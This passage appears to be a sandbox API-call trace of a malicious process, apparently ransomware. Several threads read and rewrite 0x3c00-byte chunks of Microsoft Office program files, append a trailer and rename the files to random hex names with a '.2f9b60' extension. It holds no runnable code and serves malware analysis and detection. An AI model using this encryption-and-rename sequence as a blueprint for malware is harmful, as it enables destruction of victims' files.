BaseAddress=0x1cd97df0) returned 1 [0135.242] WriteFile (hFile=0x1ca4, lpBuffer=0x203954e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28a1fa00, lpOverlapped=0x0) [0179.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203954e0) returned 1 [0179.909] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x1ab800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.909] ReadFile (in: hFile=0x1ca4, lpBuffer=0x203918d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28a1fa00, lpOverlapped=0x0 | out: lpBuffer=0x203918d0*, lpNumberOfBytesRead=0x28a1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0182.776] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x1ab800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d303b0 [0182.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d303b0) returned 1 [0182.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42462de0 [0182.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d303b0 [0182.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30440 [0182.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30440) returned 1 [0182.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.779] WriteFile (in: hFile=0x1ca4, lpBuffer=0x42462de0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28a1fa00, lpOverlapped=0x0 | out: lpBuffer=0x42462de0*, lpNumberOfBytesWritten=0x28a1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0199.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42462de0) returned 1 [0199.249] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x352ba6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.249] ReadFile (in: hFile=0x1ca4, lpBuffer=0x203918d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28a1fa00, lpOverlapped=0x0 | out: lpBuffer=0x203918d0*, lpNumberOfBytesRead=0x28a1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0199.250] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x352ba6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0199.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0199.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42462de0 [0199.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0199.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0199.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668a0) returned 1 [0199.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.254] WriteFile (in: hFile=0x1ca4, lpBuffer=0x42462de0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28a1fa00, lpOverlapped=0x0 | out: lpBuffer=0x42462de0*, lpNumberOfBytesWritten=0x28a1fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0214.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42462de0) returned 1 [0214.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430a08a0 [0214.715] SetFilePointerEx (in: hFile=0x1ca4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.715] WriteFile (in: hFile=0x1ca4, lpBuffer=0x1cebd930*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x28a1fab0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd930*, lpNumberOfBytesWritten=0x28a1fab0*=0x148, lpOverlapped=0x0) returned 1 [0218.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0218.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b90 [0218.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267b90) returned 1 [0218.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0218.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b90 [0218.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b60 [0218.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267b60) returned 1 [0218.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0218.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ad4a0 [0218.751] sprintf (in: _Dest=0x431ad4a0, _Format="%c%c" | out: _Dest="a8") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4a2, _Format="%c%c" | out: _Dest="a7") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4a4, _Format="%c%c" | out: _Dest="d5") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4a6, _Format="%c%c" | out: _Dest="bd") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4a8, _Format="%c%c" | out: _Dest="19") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4aa, _Format="%c%c" | out: _Dest="97") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4ac, _Format="%c%c" | out: _Dest="88") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4ae, _Format="%c%c" | out: _Dest="2f") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4b0, _Format="%c%c" | out: _Dest="ca") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4b2, _Format="%c%c" | out: _Dest="92") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4b4, _Format="%c%c" | out: _Dest="00") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4b6, _Format="%c%c" | out: _Dest="80") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4b8, _Format="%c%c" | out: _Dest="78") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4ba, _Format="%c%c" | out: _Dest="74") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4bc, _Format="%c%c" | out: _Dest="73") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4be, _Format="%c%c" | out: _Dest="50") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4c0, _Format="%c%c" | out: _Dest="c9") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4c2, _Format="%c%c" | out: _Dest="de") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4c4, _Format="%c%c" | out: _Dest="2c") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4c6, _Format="%c%c" | out: _Dest="54") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4c8, _Format="%c%c" | out: _Dest="92") returned 2 [0218.752] sprintf (in: _Dest=0x431ad4ca, _Format="%c%c" | out: _Dest="dc") returned 2 [0218.752] RtlInitAnsiString (in: DestinationString=0x28a1fb28, SourceString="a8a7d5bd1997882fca92008078747350c9de2c5492dc" | out: DestinationString="a8a7d5bd1997882fca92008078747350c9de2c5492dc") [0218.752] RtlAnsiStringToUnicodeString (in: DestinationString=0x28a1faf8, SourceString="a8a7d5bd1997882fca92008078747350c9de2c5492dc", AllocateDestinationString=1 | out: DestinationString="a8a7d5bd1997882fca92008078747350c9de2c5492dc") returned 0x0 [0218.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a0c20 [0218.753] wcscat (in: _Dest=0x431da220, _Source="a8a7d5bd199" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a8a7d5bd199") returned="C:\\Program Files\\Microsoft Office\\Office14\\a8a7d5bd199" [0218.753] wcscat (in: _Dest=0x431da220, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a8a7d5bd199.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\a8a7d5bd199.2f9b60" [0218.753] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\a8a7d5bd199.2f9b60", NtPathName=0x28a1fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\a8a7d5bd199.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43109d20 Thread: id = 1786 os_tid = 0xfdc [0132.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic")) returned 0x20 [0133.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic", dwFileAttributes=0x20) returned 1 [0133.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c54 [0134.771] GetFileSizeEx (in: hFile=0x1c54, lpFileSize=0x2867f920 | out: lpFileSize=0x2867f920*=1942940) returned 1 [0134.771] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x1da598, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.771] ReadFile (in: hFile=0x1c54, lpBuffer=0x2867f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2867f8e8, lpOverlapped=0x0 | out: lpBuffer=0x2867f8a0*, lpNumberOfBytesRead=0x2867f8e8*=0x4, lpOverlapped=0x0) returned 1 [0134.792] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0134.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0134.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c00 [0134.792] NtQuerySystemTime (in: CurrentTime=0x2867f7e0 | out: CurrentTime=0x2867f7e0*=132462177400330000) returned 0x0 [0134.792] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x3ce46e2b [0134.792] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x1c93e06d [0134.792] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x2e24802a [0134.792] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x6b862217 [0134.792] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0xa5bc5af [0134.792] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x12b5b60 [0134.792] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x631d9b1e [0134.792] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x4c2985e9 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x4c7560b3 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x40d5dd8f [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x60ace354 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x4688fd2 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x7ef94b37 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x22bb4306 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x1eb20349 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x5d8e7ed3 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x7c315952 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x334c3e4b [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x7d9a3815 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x1f01b5cc [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x5363d6b8 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x1e21f6 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x2238dbf4 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x2b6234f5 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x27100c75 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x5a57491c [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x339ddde2 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x2e694b76 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x478647f7 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x145609cf [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x2c251b61 [0134.793] RtlRandomEx (in: Seed=0x2867f7d0 | out: Seed=0x2867f7d0) returned 0x7a098d90 [0134.802] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.803] ReadFile (in: hFile=0x1c54, lpBuffer=0x203154e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2867f840, lpOverlapped=0x0 | out: lpBuffer=0x203154e0*, lpNumberOfBytesRead=0x2867f840*=0x3c00, lpOverlapped=0x0) returned 1 [0134.814] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0134.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0134.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c00 [0134.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c00) returned 1 [0134.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2031cd00 [0134.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c00 [0134.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0134.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860840) returned 1 [0134.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0134.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0134.816] WriteFile (in: hFile=0x1c54, lpBuffer=0x2031cd00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2867f840, lpOverlapped=0x0 | out: lpBuffer=0x2031cd00*, lpNumberOfBytesWritten=0x2867f840*=0x3c00, lpOverlapped=0x0) returned 1 [0160.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2031cd00) returned 1 [0160.600] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0xf0000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.600] ReadFile (in: hFile=0x1c54, lpBuffer=0x203154e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2867f840, lpOverlapped=0x0 | out: lpBuffer=0x203154e0*, lpNumberOfBytesRead=0x2867f840*=0x3c00, lpOverlapped=0x0) returned 1 [0165.618] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0xf0000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7b0 [0165.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7b0) returned 1 [0165.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf03ab0 [0165.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7b0 [0165.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff100 [0165.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff100) returned 1 [0165.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.620] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.620] WriteFile (in: hFile=0x1c54, lpBuffer=0x1cf03ab0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2867f840, lpOverlapped=0x0 | out: lpBuffer=0x1cf03ab0*, lpNumberOfBytesWritten=0x2867f840*=0x3c00, lpOverlapped=0x0) returned 1 [0192.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf03ab0) returned 1 [0192.562] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x1d699c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.562] ReadFile (in: hFile=0x1c54, lpBuffer=0x203154e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2867f840, lpOverlapped=0x0 | out: lpBuffer=0x203154e0*, lpNumberOfBytesRead=0x2867f840*=0x3c00, lpOverlapped=0x0) returned 1 [0192.571] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x1d699c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0192.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0192.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18150 [0192.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18150) returned 1 [0192.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceed250 [0192.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18150 [0192.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18120 [0192.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18120) returned 1 [0192.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0192.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0192.575] WriteFile (in: hFile=0x1c54, lpBuffer=0x1ceed250*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2867f840, lpOverlapped=0x0 | out: lpBuffer=0x1ceed250*, lpNumberOfBytesWritten=0x2867f840*=0x3c00, lpOverlapped=0x0) returned 1 [0205.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceed250) returned 1 [0205.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f130 [0205.300] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.300] WriteFile (in: hFile=0x1c54, lpBuffer=0x1cebde70*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2867f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1cebde70*, lpNumberOfBytesWritten=0x2867f8f0*=0x148, lpOverlapped=0x0) returned 1 [0208.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0208.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267620 [0208.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267620) returned 1 [0208.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d520 [0208.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267620 [0208.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675f0 [0208.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675f0) returned 1 [0208.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0208.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5e370 [0208.534] sprintf (in: _Dest=0x1ce5e370, _Format="%c%c" | out: _Dest="ba") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e372, _Format="%c%c" | out: _Dest="35") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e374, _Format="%c%c" | out: _Dest="7c") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e376, _Format="%c%c" | out: _Dest="b5") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e378, _Format="%c%c" | out: _Dest="7b") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e37a, _Format="%c%c" | out: _Dest="69") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e37c, _Format="%c%c" | out: _Dest="9c") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e37e, _Format="%c%c" | out: _Dest="c7") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e380, _Format="%c%c" | out: _Dest="f7") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e382, _Format="%c%c" | out: _Dest="d2") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e384, _Format="%c%c" | out: _Dest="a0") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e386, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e388, _Format="%c%c" | out: _Dest="52") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e38a, _Format="%c%c" | out: _Dest="9a") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e38c, _Format="%c%c" | out: _Dest="29") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e38e, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e390, _Format="%c%c" | out: _Dest="92") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e392, _Format="%c%c" | out: _Dest="40") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e394, _Format="%c%c" | out: _Dest="59") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e396, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e398, _Format="%c%c" | out: _Dest="63") returned 2 [0208.534] sprintf (in: _Dest=0x1ce5e39a, _Format="%c%c" | out: _Dest="93") returned 2 [0208.534] RtlInitAnsiString (in: DestinationString=0x2867f968, SourceString="ba357cb57b699cc7f7d2a00d529a29d19240596e6393" | out: DestinationString="ba357cb57b699cc7f7d2a00d529a29d19240596e6393") [0208.535] RtlAnsiStringToUnicodeString (in: DestinationString=0x2867f938, SourceString="ba357cb57b699cc7f7d2a00d529a29d19240596e6393", AllocateDestinationString=1 | out: DestinationString="ba357cb57b699cc7f7d2a00d529a29d19240596e6393") returned 0x0 [0208.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319efe0 [0208.535] wcscat (in: _Dest=0x202a4410, _Source="ba357cb57b6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ba357cb57b6") returned="C:\\Program Files\\Microsoft Office\\Office14\\ba357cb57b6" [0208.535] wcscat (in: _Dest=0x202a4410, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ba357cb57b6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ba357cb57b6.2f9b60" [0208.535] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ba357cb57b6.2f9b60", NtPathName=0x2867f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ba357cb57b6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43145fe0 Thread: id = 1787 os_tid = 0xfe0 [0132.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl")) returned 0x20 [0133.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL", dwFileAttributes=0x20) returned 1 [0133.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c9c [0135.152] GetFileSizeEx (in: hFile=0x1c9c, lpFileSize=0x2539fce0 | out: lpFileSize=0x2539fce0*=13202) returned 1 [0135.152] SetFilePointerEx (in: hFile=0x1c9c, liDistanceToMove=0x338e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.153] ReadFile (in: hFile=0x1c9c, lpBuffer=0x2539fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2539fca8, lpOverlapped=0x0 | out: lpBuffer=0x2539fc60*, lpNumberOfBytesRead=0x2539fca8*=0x4, lpOverlapped=0x0) returned 1 